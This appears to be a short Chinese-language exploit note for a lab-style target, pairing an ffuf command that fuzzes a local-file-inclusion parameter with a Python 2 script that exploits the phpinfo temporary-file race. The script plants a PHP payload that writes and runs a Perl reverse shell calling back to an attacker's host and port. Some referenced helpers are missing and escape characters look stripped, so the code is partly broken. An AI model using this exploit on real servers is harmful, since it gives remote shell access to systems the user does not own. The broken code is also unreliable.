phpinfo+文件包含临时文件getshell

ffuf -r -c -ic -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://192.168.56.108/prices/filedownload.php?FUZZ=../team.html' -fs 0

http://192.168.56.108/prices/filedownload.php?AssignmentForm=../team.html

def setup(host, port, lhost, lport):
   TAG = "Security Test"
   # 生成反弹shell的Perl脚本，并将其保存为 getshell.pl
   PAYLOAD = """%sr
<?php file_put_contents('getshell.pl', 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'); exec("perl getshell.pl");?>r""" % (TAG, lhost, lport)
   REQ1_DATA = """-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
   padding = "A" * 5000
   REQ1 = """POST /phpsysinfo.php?a=""" + padding + """ HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """ + padding + """r
HTTP_ACCEPT_LANGUAGE: """ + padding + """r
HTTP_PRAGMA: """ + padding + """r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
   LFIREQ = """GET /prices/filedownload.php?AssignmentForm=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
   return (REQ1, TAG, LFIREQ)

def main():
   parser = argparse.ArgumentParser(description='LFI with PHPInfo() exploit script.')
   parser.add_argument('-rhost', required=True, help='Remote host IP')
   parser.add_argument('-rport', type=int, default=80, help='Remote host port (default: 80)')
   parser.add_argument('-threads', type=int, default=10, help='Number of threads (default: 10)')
   parser.add_argument('-lhost', required=True, help='Local host IP for reverse shell')
   parser.add_argument('-lport', type=int, required=True, help='Local port for reverse shell')
   args = parser.parse_args()

   host = args.rhost
   port = args.rport
   lhost = args.lhost
   lport = args.lport
   poolsz = args.threads

   try:
       host = socket.gethostbyname(host)
   except socket.error as e:
       print "Error with hostname %s: %s" % (host, e)
       sys.exit(1)

   print "LFI With PHPInfo()"
   print "-=" * 30

   reqphp, tag, reqlfi = setup(host, port, lhost, lport)
   offset = getOffset(host, port, reqphp)

   maxattempts = 1000
   e = threading.Event()
   l = threading.Lock()

   print "Spawning worker pool (%d)..." % poolsz

   tp = []
   for i in range(poolsz):
       tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

   for t in tp:
       t.start()
   try:
       while not e.is_set():
           if e.is_set():
               break
           with l:
               sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
               sys.stdout.flush()
               if counter >= maxattempts:
                   break
       print
       if e.is_set():
           print "Woot! m/"
       else:
           print ":("
   except KeyboardInterrupt:
       print "nTelling threads to shutdown..."
       e.set()

   print "Shuttin' down..."
   for t in tp:
       t.join()